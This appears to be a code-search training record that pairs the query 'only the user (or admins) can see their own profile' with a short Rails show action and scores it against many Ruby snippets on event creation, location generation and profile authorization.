"def create_locations\n LOGGER.add 0, 'INFO: Beginning location generation'\n overpass = OverpassAPI.new(timeout: TIMEOUT, json: true)\n\n row = 0\n total = 0\n\n # rubocop:disable Metrics/BlockLength\n (GLOBAL_BOUNDARIES[:s]...GLOBAL_BOUNDARIES[:n]).step(STEP) do |ns|\n row += 1\n column = 0\n\n (GLOBAL_BOUNDARIES[:w]...GLOBAL_BOUNDARIES[:e]).step(STEP) do |ew|\n column += 1\n total += 1\n attempts = 0\n boundaries = { s: ns, n: ns + STEP, w: ew, e: ew + STEP }\n LOGGER.add 0, \"INFO: Beginning row #{row}, column #{column} (#{boundaries})\"\n\n begin\n attempts += 1\n overpass.query(query(boundaries)).slice_before { |result| result[:type] == 'node' }.each do |node_set|\n node_group = node_set.group_by { |item| item[:type] }\n\n streets = node_group['way']\n next if streets.blank?\n\n # We're only concerned with certain streets\n streets = streets.select { |way| way[:tags][:highway].present? }\n streets = streets.select { |way| way[:tags][:name].present? }\n streets = streets.select { |way| %w[footway cycleway path service track].exclude? way[:tags][:highway] }\n\n # Deduplicate names on four fields if they are present\n streets = streets.uniq { |way| strip_direction(way[:tags][:name]) }\n streets = streets.uniq { |way| strip_direction(way[:tags][:name_1]) || rand }\n streets = streets.uniq { |way| way[:tags][:'tiger:name_base'] || rand }\n streets = streets.uniq { |way| way[:tags][:'tiger:name_base_1'] || rand }\n\n streets = streets.map { |way| way[:tags][:name] }\n streets = streets.sort_by { |way| way.scan(/(?=\\d)/).length }.reverse\n\n node = node_group['node'].first\n next if node.blank?\n\n lat_lon_duplicate = Location.where(latitude: node[:lat], longitude: node[:lon]).first\n\n street_duplicate = Location.where(\n '(street1 = ? AND street2 = ?) OR (street2 = ? AND street1 = ?)',\n streets.first,\n streets.second,\n streets.first,\n streets.second,\n ).first\n\n if lat_lon_duplicate.present?\n LOGGER.add(\n 0,\n 'WARN: Found multiple street pairs at same lat/lon. '\\\n \"Found #{streets.first} & #{streets.last}, had #{street_duplicate}\",\n )\n elsif streets.try(:length) != 2\n LOGGER.add 0, \"WARN: Node didn't have 2 ways #{streets} (#{node[:lat]}, #{node[:lon]})\"\n elsif street_duplicate.present?\n LOGGER.add(\n 0,\n \"INFO: Adding #{humanize_street(streets.first)} & #{humanize_street(streets.second)} \"\\\n 'at midpoint & removed previous location',\n )\n Location.create!(\n latitude: (street_duplicate.latitude + node[:lat]) / 2,\n longitude: (street_duplicate.longitude + node[:lon]) / 2,\n active: false,\n street1: streets.first,\n street2: streets.second,\n name: \"#{humanize_street(streets.first)} & #{humanize_street(streets.second)}\",\n )\n street_duplicate.destroy!\n else\n LOGGER.add 0, \"INFO: Adding #{humanize_street(streets.first)} & #{humanize_street(streets.second)}\"\n Location.create!(\n latitude: node[:lat],\n longitude: node[:lon],\n active: false,\n street1: streets.first,\n street2: streets.second,\n name: \"#{humanize_street(streets.first)} & #{humanize_street(streets.second)}\",\n )\n end\n end\n rescue StandardError => e\n if attempts <= RETRIES\n LOGGER.add 0, \"WARN: Encountered error, retry #{attempts} of #{RETRIES}\"\n sleep(attempts < RETRIES ? PAUSE : TIMEOUT)\n retry\n else\n LOGGER.add 0, \"ERROR: #{e.message}\"\n end\n ensure\n sleep(PAUSE)\n end\n end\n # rubocop:enable Metrics/BlockLength\n end\n LOGGER.add 0, \"INFO: Total requests: #{total}\"\n end",
"def create!(attributes)\n obj = @base.new\n obj.id = @events.count\n attributes.each do |key, value|\n obj.send(key+'=', value)\n end\n\n @events << obj\n end",
"def create_chronics\n\t\tcreate_influenza_data\n\tend",
"def map_from_events(events)\n events = [*events]\n existing = fetch_existing_map(events)\n events.each.with_object({}) do |evt, hash|\n hash[evt] = new(\n id: evt.meetup_event_id,\n last_update: evt.meetup_last_update,\n existing_event: existing.fetch(evt.meetup_event_id, nil))\n end\n end",
"def create\n @event = current_user.created_events.build(event_params)\n @upcoming_events = Event.upcoming_events.order('created_at DESC')\n @past_events = Event.past_events.order('created_at DESC')\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to event_path(@event), notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :index, alert: 'Event was not created. Please try again!' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_documents(type_identifier, events); end",
"def get_events(artist)\n this_uri = \"http://data.pollstar.com/api/pollstar.asmx/ArtistEvents?artistID=#{artist.ArtistID}&startDate=#{Time.now.strftime(\"%m/%d/%Y\")}&dayCount=0&page=0&pageSize=0#{ps_key}\"\n this_uri.gsub! \" \", \"\"\n\n doc = Nokogiri::XML(Net::HTTP.get(URI(this_uri)))\n all_artist_events = doc.xpath(\"//ArtistInfo//Events/Event\") \n\n all_artist_events.each do |ne|\n if Event.where(EventID: ne.attribute('EventID').to_s).count < 1\n event = Event.new\n city = City.new\n event.EventID = ne.attribute('EventID').to_s\n event.EventName = ne.attribute('EventName').to_s\n event.VenueID = ne.attribute('VenueID').to_s\n event.VenueName = ne.attribute('VenueName').to_s\n event.CityID = ne.attribute('CityID').to_s\n city.CityID = ne.attribute('CityID').to_s\n event.CityName = ne.attribute('CityName').to_s\n city.CityName = ne.attribute('CityName').to_s\n event.State = ne.attribute('State').to_s\n city.State = ne.attribute('State').to_s\n event.CountryName = ne.attribute('CountryName').to_s\n city.CountryName = ne.attribute('CountryName').to_s\n event.Region = ne.attribute('Region').to_s\n city.Region = ne.attribute('Region').to_s\n event.play_date = Date.parse(ne.attribute('PlayDate').to_s.gsub(/, */, '-'))\n event.Playtime = ne.attribute('PlayTime').to_s\n event.Url = ne.attribute('Url').to_s\n event.artist_name = artist.ListName\n event.artist_id = artist.id\n \n # Ensure CountryName valide and present\n city.ensure_CountryName\n event.ensure_CountryName\n \n # Verify / Add city to city table\n city = City.find_by CityID: city.CityID unless city.save\n event.city_id = city.id\n event.save\n \n # Create link table entries\n ArtistEvent.create({:artist => artist, :event => event})\n CityEvent.create({:city => city, :event => event})\n end\n end\n \n end",
"def map_events!\n each do |time,events|\n self[time] = events.map{|event| yield event }\n end\n end",
"def create\n @users = Array.new\n @users = case\n when params[:event][:event_type]==\"1\" then current_user.to_a\n when params[:event][:event_type]==\"2\" then UserGroup.find(params[:user_group_id]).users \n when params[:event][:event_type]==\"3\" then Project.find(params[:project_id]).users \n when params[:event][:event_type]==\"4\" then Company.find(params[:company_id]).users \n end\n # days = create_event_days(params)\n if params[:repeat][:to_repeat]== \"1\"\n number = params[:months].to_i\n else\n number = 1\n end\n (1..number).each do |m|\n for user in @users do\n @event = Event.new\n @event.event_type = params[:event][:event_type]\n @event.content = params[:event][:content]\n start_date =Time.local(params[:event][\"start_at(1i)\"].to_i,\n params[:event][\"start_at(2i)\"].to_i,\n params[:event][\"start_at(3i)\"].to_i,\n params[:event][\"start_at(4i)\"].to_i,\n params[:event][\"start_at(5i)\"].to_i)\n @event.start_at = start_date + m.months - 1.month\n end_date = Time.local(params[:event][\"end_at(1i)\"].to_i,\n params[:event][\"end_at(2i)\"].to_i,\n params[:event][\"end_at(3i)\"].to_i,\n params[:event][\"end_at(4i)\"].to_i,\n params[:event][\"end_at(5i)\"].to_i)\n @event.end_at = end_date + m.months - 1.month\n @event.user_id = user.id\n @event.written_by = current_user.id\n @event.save\n end\n end\n#TODO tratar erro ao savar um event\n#TODO tentar usar rjs instead\n respond_to do |format|\n# @date_calendar = @event.date\n# redirect_to display_calendar_events_path(:date=>@date_calendar)\n # flash[:notice] = 'Event was successfully created.'\n format.html { redirect_to( tasks_path() ) }\n format.xml { render :xml => @event, :status => :created, :location => @event }\n end\n end",
"def events\r\n load_private_events\r\n load_completed_private_events\r\n end",
"def index\n #@httparty_tests = HttpartyTest.all\n @httparty_tests = HttpartyTest.new\n #@httparty_tests.create_events\n end",
"def create_shifts\n\tself.shifts=[]\n\tif self.locations.size==0\n\t self.locations=self.area.locations\n\tend\n\tst=self.shifttimes \n \tst.each do |t|\n\t\tself.locations.each do |l|\n\t\t\n\t\t\tshift=Shift.new\n\t\t\tshift.location=l\n\t\t\tshift.start=t\n\t\t\tself.shifts << shift\n\t\tend\n \tend\n end",
"def create_new_event(status, new_photos)\n \n new_photos = new_photos.sort { |a,b| b.time_taken <=> a.time_taken}\n\n # commented out for testing on workers CONALL\n new_event = self.events.create(:start_time => new_photos.last.time_taken,\n :end_time => new_photos.first.time_taken,\n :coordinates => new_photos.first.coordinates,\n :n_photos => new_photos.count,\n :status => status,\n :city => self.city)\n\n new_event.photos.push(*new_photos)\n\n new_event.keywords = []\n #new_event.update_keywords\n\n Rails.logger.info(\"Venue::create_new_event: created new event at venue #{self.id} with #{new_event.photos.count} photos\")\n\n new_event.generate_short_id\n return new_event\n end",
"def events_now\n\n # Open empty array\n events = []\n\n # Loop over all the calendars\n CALENDARS.each do |name, id|\n\n # Get the events\n cal_events = calendar(id).find_events_in_range(Time.now, Time.now + 60)\n\n # Loop over each one and add it to the array\n cal_events.each do |e|\n events << {event: e, cal: name} unless e.nil?\n end\n\n end\n\n # Return the final list\n return events\n\nend",
"def create\n if params[:event] \n Resque.enqueue(GoogleCalendarCreator, current_user.email) \n Rails.logger.info(\"the request came from #{params[:current_ip]}\")\n \n # If old_travel_id exists, grab travel step ids belonging to \n # the given old travel id\n if params[:old_travel_id].present?\n delete_travels_if_exist(params[:old_travel_id])\n end\n \n @event = Event.parse_from_google_gadget(params[:event])\n @event.base = params[:base]\n @event.create_previous_travel_node(params[:previous_travel_node]) if params[:previous_travel_node] && params[:previous_travel_node][:address].present?\n @event.create_current_travel_node(params[:current_travel_node]) if params[:current_travel_node] && params[:current_travel_node][:address].present? \n @event.set_current_ip(params[:current_ip]) \n @event.created_at = Time.now.utc\n @event.user = current_user\n if @event.save\n if current_user.expired == 1\n render :nothing => true, :status => :unauthorized\n else\n render :json => @event, :status => :created\n end\n else\n render :json => @event.errors, :status => :unprocessable_entity\n end\n else\n render :nothing => true, :status => :unprocessable_entity\n end\n end",
"def create_new_event\n @event = Event.new\n @event.name = params[\"event_name\"]\n# @event.random_number = rand(100000)\n @event.date_of_event = params[\"event_date\"]\n @event.quote_message = Florist.find(session[\"found_florist_id\"]).quote_message_default\n @event.show_product_image = Florist.find(session[\"found_florist_id\"]).show_product_image_pref\n @event.show_display_name = 1\n if params[\"lead_designer\"] != \"\"\n @event.employee_id = Employee.where(name: params[\"lead_designer\"]).where(florist_id: session[\"found_florist_id\"]).first.id \n else\n @event.employee_id = nil\n end\n @event.florist_id = session[\"found_florist_id\"] \n @event.customer_id = params[\"customer_id\"]\n @event.event_status = \"Open Proposal\"\n if @event.save\n redirect_to \"/event_edit/#{@event.id}\" and return\n else\n @customer = Customer.where(id: params[\"customer_id\"]).first\n @employee_list = [\"\"] + Employee.where(florist_id: session[\"found_florist_id\"]).where(status: \"Active\").uniq.pluck(:name)\n render(:event_new) and return\n end\n end",
"def init_database\n\t\tif(!@DB.table_exists?(:events))\n\t\t\t@DB.create_table :events do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :description\n\t\t\t\tString :date\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:timeslots))\n\t\t\t@DB.create_table :timeslots do\n\t\t\t\tString :time\n\t\t\t\tString :parent_table\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:attendees))\n\t\t\t@DB.create_table :attendees do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\tend",
"def create_event_array(start_at_array, end_at_array, event_name, activity_id)\n\t\tevents_array = Array.new\n\n\t\tstart_at_array.each_index do |index|\n\t\t\tevent_hash = Hash.new\n\n\t\t\tevent_hash[:start_at] = start_at_array[index]\n\t\t\tevent_hash[:end_at] = end_at_array[index]\n\t\t\tevent_hash[:name] = event_name\n\t\t\tevent_hash[:activity_id] = activity_id\n\n\t\t\tevents_array[index]= event_hash\n\t\tend\n\n\t\treturn events_array\n\tend",
"def initialize(name)\n @events = []\n @name = name\n end",
"def create_event(&blk)\n setup_event(Event.new, &blk)\n end",
"def create_event(&blk)\n setup_event(Event.new, &blk)\n end",
"def create\n \n params.each do |key, value|\n puts \"#{key} is #{value}\"\n end\n\n if !current_user.events.find_by_event_id(params['Id'])\n artist_list = []\n params['Artists'].each do |artist|\n artist_list << artist['Name']\n end\n @event = current_user.events.create( event_id: params['Id'], venue_name: params['Venue']['Name'], date: params['Date'], artist_names: artist_list.join(', '))\n end\n\n respond_to do |format|\n if @event && @event.save\n format.html { \n if params['artistId']\n redirect_to events_path('artistId' => params['artistId'])\n elsif params['zipCode']\n redirect_to events_path('zipcode' => params['zipCode'])\n else\n redirect_to :back\n end \n }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { \n if params['artistId']\n redirect_to events_path('artistId' => params['artistId'])\n elsif params['zipCode']\n redirect_to events_path('zipcode' => params['zipCode'])\n else\n redirect_to :back\n end\n }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def events\n @events ||= event_finder\n end",
"def set_objects\n\n @eventOwnerMenuList = Event.scp_postOwner_menu\n @catMenuList = EventCategory.scp_category_menu\n\n end",
"def create\n\n expire_action :action => [:shadyside, :south_side, :lawrenceville, :oakland, :bloomfield, :strip_district, :downtown]\n @event = current_user.events.build(event_params)\n #@event = Event.new(event_params)\n if @event.day == \"Weekdays\"\n @event.day = \"Monday\"\n @event_tue = current_user.events.build(event_params)\n @event_tue.day = \"Tuesday\"\n @event_wed = current_user.events.build(event_params)\n @event_wed.day = \"Wednesday\"\n @event_thu = current_user.events.build(event_params)\n @event_thu.day = \"Thursday\"\n @event_fri = current_user.events.build(event_params)\n @event_fri.day = \"Friday\"\n\n\n respond_to do |format|\n if @event.save && @event_tue.save && @event_wed.save && @event_thu.save && @event_fri.save\n #EventMailer.sample_email(current_user, @event).deliver\n\n Venue.where(id: @event.venue_id).first.update_attribute(:venue_verify, Time.now)\n format.html { redirect_to Venue.where(id: @event.venue_id).first, notice: 'Hour was successfully created.' }\n format.json { head :no_content }\n format.js { render :layout => false }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n elsif @event.day == \"Everyday\"\n @event.day = \"Monday\"\n @event_tue = current_user.events.build(event_params)\n @event_tue.day = \"Tuesday\"\n @event_wed = current_user.events.build(event_params)\n @event_wed.day = \"Wednesday\"\n @event_thu = current_user.events.build(event_params)\n @event_thu.day = \"Thursday\"\n @event_fri = current_user.events.build(event_params)\n @event_fri.day = \"Friday\"\n @event_sat = current_user.events.build(event_params)\n @event_sat.day = \"Saturday\"\n @event_sun = current_user.events.build(event_params)\n @event_sun.day = \"Sunday\"\n\n\n respond_to do |format|\n if @event.save && @event_tue.save && @event_wed.save && @event_thu.save && @event_fri.save && @event_sat.save && @event_sun.save\n #EventMailer.sample_email(current_user, @event).deliver\n\n Venue.where(id: @event.venue_id).first.update_attribute(:venue_verify, Time.now)\n format.html { redirect_to Venue.where(id: @event.venue_id).first, notice: 'Hour was successfully created.' }\n format.json { head :no_content }\n format.js { render :layout => false } \n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n elsif @event.day == \"Weekend\"\n @event_sat = current_user.events.build(event_params)\n @event_sat.day = \"Saturday\"\n @event_sun = current_user.events.build(event_params)\n @event_sun.day = \"Sunday\"\n\n respond_to do |format|\n if @event.save && @event_sun.save\n #EventMailer.sample_email(current_user, @event).deliver\n\n Venue.where(id: @event.venue_id).first.update_attribute(:venue_verify, Time.now)\n format.html { redirect_to Venue.where(id: @event.venue_id).first, notice: 'Hour was successfully created.' }\n format.json { head :no_content }\n format.js { render :layout => false }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n if @event.save\n #EventMailer.sample_email(current_user, @event).deliver\n\n Venue.where(id: @event.venue_id).first.update_attribute(:venue_verify, Time.now)\n format.html { redirect_to Venue.where(id: @event.venue_id).first, notice: 'Hour was successfully created.' }\n format.json { head :no_content }\n format.js { render :layout => false }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def index\n @events = Event.all\n @hash = Gmaps4rails.build_markers(@events) do |event, marker|\n marker.lat event.latitude\n marker.lng event.longitude\n marker.title event.title\n marker.infowindow event.description\n end\n end"
] |
[
"0.73659587",
"0.67742026",
"0.6745469",
"0.65251094",
"0.6504549",
"0.63806915",
"0.63742465",
"0.632731",
"0.6301749",
"0.6301749",
"0.62766266",
"0.6256654",
"0.62223446",
"0.61977",
"0.6188487",
"0.61843145",
"0.6156372",
"0.6154087",
"0.6124104",
"0.6118043",
"0.61018634",
"0.6097095",
"0.6094469",
"0.60897595",
"0.6054094",
"0.6052757",
"0.6036825",
"0.60331583",
"0.6031732",
"0.6030976",
"0.60302234",
"0.60148835",
"0.6014527",
"0.5989167",
"0.59828305",
"0.59683245",
"0.5957881",
"0.59372425",
"0.5935748",
"0.59334314",
"0.59275526",
"0.59275526",
"0.5913262",
"0.59122187",
"0.5905861",
"0.59021544",
"0.58981895",
"0.5875146",
"0.5874548",
"0.58624524",
"0.58609885",
"0.58551973",
"0.58551973",
"0.58551973",
"0.58551973",
"0.58551973",
"0.58551973",
"0.58551973",
"0.58551973",
"0.5846278",
"0.5840927",
"0.583659",
"0.58348197",
"0.5830443",
"0.58249635",
"0.5820733",
"0.5819989",
"0.58187795",
"0.58086467",
"0.5808188",
"0.580486",
"0.5804317",
"0.58021045",
"0.57985276",
"0.57963145",
"0.578792",
"0.57758707",
"0.5775663",
"0.57753736",
"0.57659316",
"0.57644784",
"0.57620645",
"0.5747745",
"0.5740527",
"0.5734094",
"0.5727113",
"0.5724131",
"0.57200384",
"0.5710533",
"0.5709553",
"0.5709178",
"0.570702",
"0.5697093",
"0.5692726",
"0.5683508",
"0.5683508",
"0.5683101",
"0.56753737",
"0.5670256",
"0.5667291",
"0.5664833"
] |
0.0
|
-1
|
only the user (or admins) can see their own profile
|
def show
@user = current_user
@individual_plants = @user.individual_plants
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n authorize @user # Can only see your own profile\n end",
"def authorize_user\n @profile = current_user.profile\n return if @profile\n flash[:alert] = \"You can only edit your own profile\"\n redirect_to profile_path\n end",
"def only_your_profile_page\n @admin = Admin.find(params[:admin_id])\n\n if current_admin != @admin\n redirect_to sectors_path, notice: \"Access denied! You can only view your own profile page.\"\n end\n end",
"def profile\n authorize @profile\n end",
"def show\n unless @user==User.find(params[:id])\n flash[:notice]= \"You can only see your own profile.\"\n redirect_to root_path\n end\n @user=User.find(params[:id])\n end",
"def other_user_profile?\n !is_owner\n end",
"def profile_authorization\n #if view admins' profile, allow only admin\n return false unless(params[:id])\n user = User.find(params[:id])\n return false unless user\n return admin_authorization if user.admin?\n return true if GraderConfiguration[\"right.user_view_submission\"]\n\n #finally, we allow only admin\n admin_authorization\n end",
"def profile\n if !GraderConfiguration['system.user_setting_enabled']\n redirect_to :controller => 'main', :action => 'list'\n else\n @user = current_user;\n end\n end",
"def show\n \t@person = Person.find(params[:id])\n \t@is_admin = false\n \tactive_person = Person.find(session[:user_id])\n \troles = active_person.roles.collect {|role| role.name}\n if roles == [\"DirectCareProvider\"] && session[:user_id] != params[:id]\n flash[:notice] = \"You can only access your own profile.\"\n @person = active_person\n elsif roles.member?(\"Supervisor\") || roles.member?(\"Administrator\")\n \t@is_admin = true\n end\n end",
"def restrict_access\n render :\"/home/http_404\" unless @profile && @profile.user == current_user\n end",
"def has_profile_access? user, read_only = false\n # Checks\n # 1. If same user is accessing the profile => Allow\n # 2. If a network admin is accessing the profile => Allow\n # 3. If a group admin is accessing the profile and the profile is not private => Allow\n # 4. Otherwise => Don't allow\n\n return self.id.eql?(user.id) || self.is_network_admin_for_user?(user) || (self.is_group_admin_for_user?(user) && !user.has_private_profile?) || self.is_location_admin_for_user?(user)\n end",
"def show\n @profile=Profile.find(params[:id])\n authorize @profile\n #@profile=Profile.where(user==current_user)\n\n\n #authorize @profile\n\n #scope.where(:id => profile.id).exists?\n\n end",
"def restrict_users\n \t\tif user_signed_in?\n \t\t\tif current_user.has_role? :client\n \t\t\t\tif current_user.profile.agreed == nil\n \t\t\t\t\tredirect_to edit_profile_path(current_user.profile)\n \t\t\t\tend\n \t\t\tend\n\n \t\tend\n\n \tend",
"def owned_profile\n @user = User.find_by(user_name: params[:user_name])\n unless current_user == @user\n flash[:alert] = \"That profile does not belong to you!\"\n redirect_to root_path\n end\n end",
"def profile\n @profile = current_user\n end",
"def current_user_can_list_profiles\n bounce_user unless User.can_list_users? current_user\n end",
"def show\n authorize @accountant_profile\n end",
"def authorize\n if current_user != @profile.username\n flash[:alert] = \"Cannot access this profile\"\n redirect_to root_path\n end\n end",
"def edit_credentials\n return false unless (current_user.access_level.user_level >= 100) && (current_user.id == @profile.user_id)\n true\n end",
"def edit\n authorize! :edit, @profile\n end",
"def authorize_user\n redirect_to restrooms_path, flash: {message: \"You don't have permission to make changes to another user's profile.\"} unless current_user.admin? || @user == current_user\n end",
"def users_only\n deny_access(\"Necesitas crear una cuenta para entrar a esta sección\") unless signed_in?\n end",
"def profile_admin?\r\n self.popv_admin? || self.admin? || self.warehouse_admin? || self.requesting_admin?\r\n end",
"def profile\n @user = current_user\n end",
"def ensure_user_has_profile\n bounce_user unless current_user and current_user.profile\n end",
"def show\n @user = User.find(params[:id])\n can_edit_hash = Permissions.currentLoggedInOrHasMorePermissions(@current_user,@user)\n @can_edit = can_edit_hash[:has_permission]\n\n #max needs\n @can_see_pref= Permissions.is_at_least_manager(@current_user)\n\n profile_attrs = [:first_name,:last_name, :email,:phone_number]\n @first_name = @user.first_name\n @last_name = @user.last_name\n @email = @user.email\n @phone_number = @user.phone_number\n @role = @user.role\n end",
"def set_profile\n @profile = Profile.friendly.find(params[:id])\n if !(@profile \n (session[:type_user]==\"SimpleUser\" and current_user.profile.family.id==@profile.family.id ) or \n (session[:type_user]==\"Miembro\" and @profile.family and current_user.profile.member.comunity.id==@profile.family.comunity.id) or\n (session[:type_user]==\"Administrador\"))\n redirect_to(root_path,alert: \"Lo sentimos, no tiene permisos para acceder a esta seccion\") \n end\n end",
"def check_current_profile\n if user_signed_in?\n if current_user.profile_type == \"Business\"\n redirect_to root_path , notice:\"Not authorised to view this page\"\n end\n end\n end",
"def profile\n @user = @current_user\n\n render :show\n\n end",
"def edit\n if current_profile!=@profile\n redirect_to root_url, notice: 'Permission denied'\n end\n end",
"def profile_is_viewable?(other_user = nil, public_key = nil)\n return false unless other_user\n return true if self == other_user\n return !(self.respond_to?(\"private_profile\") && self.private_profile) || self.has_contact?(other_user) || self.public_key == public_key\n end",
"def is_accessing_self?\n if session[:user_id] != params[:id].to_i\n flash[:error] = \"You do not have access to this profile\"\n custom_redirect_back\n end\n end",
"def show\n if current_user.try(:admin?)\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n else\n redirect_to :permission_error\n end\n end",
"def users_only\n deny_access(\"You must be signed in to access this page.\") unless signed_in?\n end",
"def show\n authorize @client_profile\n end",
"def manage_profile\n begin\n @has_link_access = true\n if @actor.is_fan? # in case of fan profile login\n @user = @actor\n @additional_info = current_user.additional_info\n get_user_associated_objects\n render :template =>\"/fan/manage_profile\" and return\n elsif @actor.is_artist? # in case of artist profile login\n @user = current_user\n @artist = @actor\n @artist_user = ArtistUser.for_user_and_artist(current_user, @artist).first || ArtistUser.new\n get_artist_objects_for_right_column(@artist)\n render :template =>\"/artist/edit\" and return\n elsif @actor.is_venue? # in case of venue profile login\n @user = current_user\n @venue = @actor\n @venue_user = VenueUser.for_user_and_venue(current_user, @venue).first || VenueUser.new\n get_venue_objects_for_right_column(@venue)\n render :template =>\"/venue/edit\" and return\n end\n rescue =>exp\n logger.error \"Error in User#ManageProfile :=> #{exp.message}\"\n render :nothing => true and return\n end\n respond_to do |format|\n format.js\n format.html\n end\n end",
"def check_current_profile\n if user_signed_in?\n if current_user.profile_type == \"Business\"\n redirect_to root_path , notice:\"Not authorised to view this page\"\n end\n end\n end",
"def profile\n\t\t@user = current_user\n\tend",
"def index\n @profiles = current_user\n end",
"def edit_login?(user)\r\n # Editable if the user is an admin OR\r\n # the user is editing his own settings\r\n edit_profile?(user) || self == user\r\n end",
"def show\n if current_user.is_normal?\n @user = User.find( params[:id] )\n render :profile\n else\n redirect_to user_profile_path\n end\n end",
"def profile\n\t\t\n\t\tif !current_user\n\t\t\tredirect_to root_url and return\n\t\tend\n\t\t\n\t\t@user = current_user\n\t\t\n\tend",
"def profile\r\n if params[:id] && User.exists?(params[:id])\r\n @prof = User.find(params[:id])\r\n else\r\n redirect_to_info_page t(:redir)\r\n return\r\n end\r\n end",
"def admin?\n\t self.profile == \"admin\"\n\tend",
"def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't view this page, contact your box owner\"\n\t\tend\t\n\tend",
"def profile\n\t\t@user = User.find(current_user)\n\tend",
"def show\n session[:return_to] = request.referer\n authorize @profile\n end",
"def show\n op = present User::Show\n redirect_to edit_user_profile_path(current_user, op.model.profile) && return if op.new_profile?\n redirect_to user_profile_path(current_user, op.model.profile)\n end",
"def user_can_see?(user)\n !self.private || self.is_owner?(user)\n end",
"def check_current_user_owns\n head :not_found unless @user == current_user\n end",
"def set_profile\n @profile = Profile.find(params[:id])\n unless current_user.profiles.find_by(id: @profile.id)\n authorize @profile\n end\n end",
"def authorize_user\n unless current_user.id == @profile.user_id\n flash[:unauthorized] = \"Not authorized\"\n redirect_to listings_path\n end \n end",
"def show\n authorize @organization_profile\n end",
"def profile\n @user = current_user_with_auths\n @connected = @user.authorizations.collect{|a| a.provider}\n @to_connect = providers - @connected\n unless @user\n redirect_to root_path, :notice => \"Sorry, try logging back in\"\n end\n end",
"def check_access_to_employer_profile\n employer_profile = EmployerProfile.find(params[:id])\n policy = ::AccessPolicies::EmployerProfile.new(current_user)\n policy.authorize_edit(employer_profile, self)\n end",
"def user_profile\n @current_user = current_user\n\n if params[:id] == 'me'\n @user = @current_user\n else\n @user = User.find_by_id(params[:id])\n end\n end",
"def profile_edit\n @user = User.find(current_user.id)\n end",
"def accessible_for?(user)\n user_id == user.id && !user.anonimous?\n end",
"def require_same_user\n @profile = Profile.find(params[:id])\n if @profile.user_id != current_user.id\n flash[:danger] = \"You are not right User to made this changes\"\n redirect_to root_path\n end\n end",
"def correct_user\n @user = User.find(params[:id])\n unless current_user?(@user)\n flash.now[:danger] = \"You can only change your own profile.\"\n redirect_to signin_url\n end\n end",
"def show\n @use = User.find(@profile.my_id)\n if @profile.user_id then\n @target = User.find(@profile.user_id)\n end\n if ((@use.id == 1) && (@use.id == @profile.my_id) && (!@profile.user_id)) then\n do_it\n end\n end",
"def self_edit_only\n #if current_user.id != Integer(params[:id]) && !current_user.is_admin\n if !can_edit\n redirect_to user_url, :notice => \"You don't have permission to do that.\"\n else\n end\n end",
"def show\n @profile = @user.profile\n end",
"def is_user_self\n @hostprofile = Hostprofile.find(params[:id])\n @user = @hostprofile.user\n redirect_to root_path unless !@hostprofile.nil? && current_user?(@user)\n end",
"def show?\n user.admin? || user.po? || record.user == user\n end",
"def show\n if current_user.access == 2\n redirect_to \"/users/indexU\"\n end\n end",
"def show\n @user = User.find(params[:id])\n unless current_user.admin?\n unless @user == current_user\n redirect_to :back, :alert => \"Access denied.\"\n end\n end\n end",
"def index\n @profiles = Profile.all\n authorize Profile\n end",
"def current_user_is_school_admin?\n current_user.admin_profile ? true : false\n end",
"def public\n @employer = Employer.find(params[:id])\n @profile = @employer.try(:employer_profile)\n authorize(@employer)\n end",
"def edit\n @user.build_user_profile unless @user.user_profile\n end",
"def show\n \tauthorize! :read, @user\n end",
"def show?\n user.id == record.id || user.administrator?\n end",
"def show\n @profile = Profile.find(params[:id]) || current_user.profile\n end",
"def can_read?(profile)\n \n can_access?(profile, [2,6])\n \n end",
"def has_profile?\n return self.profile.present?\n end",
"def show\n @user = @person.user\n can_manage_user!\n\n redirect_to new_person_user_path(@person) unless @user\n end",
"def show_your_profile\n if params[:id] != session[:user_id].to_s\n redirect_to user_path\n end\n end",
"def set_personal_profile\n @personal_profile = current_user.personal_profile\n if not @personal_profile.user_id==current_user.id\n redirect_to root_path\n end\n\n end",
"def admin_user\n # Redirect the user to their profile page unless the user is an admin\n redirect_to me_path unless current_user.admin?\n end",
"def personal_page?\n return false unless current_user\n return true if params[:owner_id].to_i == current_user.id\n return true if @user && current_user == @user\n return true if @quest && current_user.owns?(@quest)\n return true if @offer && current_user.owns?(@offer)\n \n false\n end",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def show\n @users = User.all\n authorize @colaboradore\n end",
"def edit\n @user = User.find_by_id(params[:id])\n logged_in_user = session[:user_hash][\"username\"]\n if logged_in_user != @user.sunet and not \n User.is_power_user(logged_in_user)\n # permission denied\n flash[:error] = \"Your privileges don't allow you to edit profiles other than your own.\"\n redirect_to \"/users#/users/\"\n end\n @photos = Photo.find_all_by_user_id(params[:id])\n end",
"def edit\n @user = User.find_by_id(params[:id])\n logged_in_user = session[:user_hash][\"username\"]\n if logged_in_user != @user.sunet and not \n User.is_power_user(logged_in_user)\n # permission denied\n flash[:error] = \"Your privileges don't allow you to edit profiles other than your own.\"\n redirect_to \"/users#/users/\"\n end\n @photos = Photo.find_all_by_user_id(params[:id])\n end",
